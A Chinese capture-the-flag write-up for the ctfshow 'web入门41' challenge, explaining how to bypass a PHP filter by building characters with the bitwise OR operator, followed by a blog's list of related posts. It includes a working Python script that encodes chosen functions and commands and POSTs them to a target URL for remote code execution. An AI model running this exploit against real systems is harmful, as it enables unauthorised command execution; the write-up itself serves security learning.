ctfshow web入门41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时甚至过滤了字母和数字。
但是特意留了个或运算符|。
由此我们可以尝试从ascii为0-255的字符中,找到用或运算能得到我们可用的字符。
羽师傅给了两个脚本(详见篇末的博客链接):

这个脚本用于生成可用字符的集合
跑完之后我们得到:

其中使用的都是十六进制
比如A,十六进制的四十是64 ,64+1等于65,正是A的ascll码

另外PHP大小写都合法,或运算能得到ascll码之后,我们可以上手拼命令了(

问题来了,虽然拼出来了,但是是不能执行的。
可以看到里面是有换行符(%0d %0c),会影响命令的执行。
这时候我们看看羽师傅的第二个脚本:
大体意思就是 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数get flag
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
\#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

本题考点是如何用异或构造任意的字符。
https://blog.csdn.net/miuzzx/article/details/108569080
ctfshow web入门41的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- 8、web入门回顾/ Http
1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作 : 启动: %tomcat%/bin/startup.bat 关闭: % ...
- python web入门程序
python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...
- Java web 入门知识 及HTTP协议详解
Java web 入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...
- Java Web入门经典扫描版
全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...
- Delphi XE2 之 FireMonkey 入门(41) - 控件基础: TListBox
Delphi XE2 之 FireMonkey 入门(41) - 控件基础: TListBox TScrollBox -> TCustomListBox -> TListBox; 其元素项 ...
- Golang Web入门(4):如何设计API
摘要 在之前的几篇文章中,我们从如何实现最简单的HTTP服务器,到如何对路由进行改进,到如何增加中间件.总的来讲,我们已经把Web服务器相关的内容大概梳理了一遍了.在这一篇文章中,我们将从最简单的一个 ...
随机推荐
- go+redis实现消息队列发布与订阅
在做项目过程中,实现websocket得时候,不知道哪里写的不太合适,客户端消息收到一定程度,剩下的消息收不到,修改了缓冲区大小,还是没有解决问题,后面因为项目结束期比较紧张,没有时间调试消息的时候, ...
- linux启用ipv4转发功能
一.临时生效,重启失效1.sysctl -w net.ipv4.ip_forward=12.echo 1 > /proc/sys/net/ipv4/ip_forward二.永久生效修改 /etc ...
- Unity3D使用脚本动态创建、调用动画(转)
原文链接: https://blog.csdn.net/pigautumn/article/details/81781403 需求场景:由若干个数量不确定的物体从上到下排列,需要间隔0.1s依次从左到 ...
- Mybatis 中传入List实现 批量插入、批量更新、批量删除
1. 批量插入: Mapper层: int insertList(List<UsersModel> list); 对应的mapper.xml: <!--批量插入信息--> &l ...
- vmware 克隆虚拟机前删除网络文件
解决办法: 删除 /etc/udev/rules.d/70-persistent-net.rules文件,系统重启后重新自动生成 ··· rm -rf /etc/udev/rules.d/70-per ...
- Linux系统Shell脚本第四章:shell函数
目录 一.shell函数 1.函数的作用 2.函数使用步骤 3.定义函数基本格式 4.函数变量 5.退出函数 6.函数位置变量与脚本位置变量区别 一.shell函数1.函数的作用定义较为复杂的但是需要 ...
- go 编程基础学习笔记
dos 命令 2023-01-26 1.切换盘符 只要输入 c: d: e: 等即可 2.显示目录详细内容 dir 3.切换目录 cd 留意 一个点 . 代表当前目录, 两个点.. 代表上一级目录 4 ...
- Django里ORM常用关键字
一.ORM常用关键字 # 关键概览 1.create() 2.filter() 3.first() last() 4.update() 5.delete() 6.all() 7.values() 8. ...
- Word发博客测试
这是一篇来自word的文章测试,测试word写博客发布效果. 操作参考:http://www.cnblogs.com/liezhengli/p/5854470.html 关键在于找到博客园的MetaW ...
- 教你快速理解Linux虚拟化网络的全脉络,正确配置网络联通性。
https://www.bilibili.com/video/BV1iy4y177f4?p=12 实用的干货快先码起来,说不定以后会用到哟